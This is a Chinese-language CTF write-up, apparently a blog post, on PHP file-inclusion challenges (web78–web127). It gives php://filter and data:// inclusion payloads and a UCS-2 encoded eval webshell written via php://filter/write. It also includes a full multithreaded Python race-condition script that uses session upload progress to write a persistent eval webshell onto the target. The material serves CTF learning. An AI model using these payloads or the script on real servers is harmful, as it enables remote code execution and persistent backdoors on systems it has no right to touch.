Web之文件包含

php://input(web78)

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行

需要allow_url_include打开,且当enctype="multipart/form-data"的时候 php://input` 是无效的

php://filter(web78)

web78的预期解应该是用php://filter

?file=php://filter/read=convert.base64-encode/resource=flag.php

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而导致 任意文件读取。

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用

data协议(web79,web88)

web79

data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

需满足allow_url_fopen,allow_url_include同时开启才能使用

?file=data://,<?php phpinfo();
?file=data://text/plain,<?php phpinfo();---恶意代码
?file=data://text/plain;base64,base编码内容(恶意代码的base64编码)

注意base编码后的加号要变成%2b...

web88

如果base64编码后出现等号,可以通过在原代码后面多加几个1来去除

日志包含(web80,web81)

日志包含相关内容见php特性

但web80值得注意的是Php://input也是可行的,但Data://,xxx似乎就不行

条件竞争(web82,web83,web84,web85)

web82

还是没学多线程。。。

贴个脚本

import requests
import threading
import io

url = "http://15804872-db2c-4987-bcf9-8dff71df9a9c.challenge.ctf.show:8080/"
sessID = 'rikka'
data = {
    "1": "file_put_contents('/var/www/html/1.php', '<?php eval(_POST[2]);?>');"  # read()中需要post的内容
}


def write(session):
    fileBytes = io.BytesIO(b'a' * 1024 * 50)
    while True:
        res = session.post(url,
                           data={
                               'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval(_POST[1]);?>'
                               # 改参数的值就是/tmp/sess_rikka文件的内容
                           },
                           cookies={
                               "PHPSESSID": sessID
                           },
                           files={
                               'file': ('rikka.png', fileBytes)
                           }
                           )


def read(session):
    while True:
        res1 = session.post(url + '?file=/tmp/sess_' + sessID, data=data,
                            cookies={
                                "PHPSESSID": sessID
                            })
        res2 = session.get(url+'1.php')
        if res2.status_code == 200:
            print("+++done+++")
        else:
            print(res2.status_code)


if __name__ == '__main__':
    event = threading.Event()   # 开启多线程的对象
    with requests.session() as session:
        for i in range(5):               # 开5个线程
            threading.Thread(target=write, args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()

        event.set()       # 唤醒线程

参考资料:https://www.cnblogs.com/r1kka/p/15848498.html

web83

session_unregister是注销一个session变量;
session_destroy是注销所有的session变量,并且结束session会话;
session_unset()并不注销session变量,但把所有的session变量的值清空.

所以我们还是可以自己创建

web84

由于我们是多线程,所以可能前一个刚把/tmp/*删了后面有重新建了一个文件夹,然后成功include

web85

同上,由于多线程的原因可以成功执行

web86

include_path用来设置include()或require()函数包含文件的参考路径.
也就是说当使用include()或require()函数包含文件的时候,程序首先以include_path设置的路径作为参考点去找文件,如果找不到,则以程序自身所在的路径为参考点去找所要的文件,如果都找不到,则出错.
当include_path设置了多个参考路径(每个路径用分号隔开)时,排在前面的路径优先找.

绕过死亡exit(web87,web127)

注意要URL二次编码!

相关资料:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

​ https://xz.aliyun.com/t/8163#toc-3

​ https://blog.csdn.net/woshilnp/article/details/117266628

UCS(web127)

用convert.iconv过滤器,其中UCS-2表示两位一反转,UCS-4表示四位一反转

payload:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php

contents=?<hp pe@av(l_$OPTSa[]a;)>?

直接包含flag.php(web126)

在这里插入图片描述

其实这里不用管filter,直接包含flag.php就行了


告别纷扰,去寻找生活的宝藏。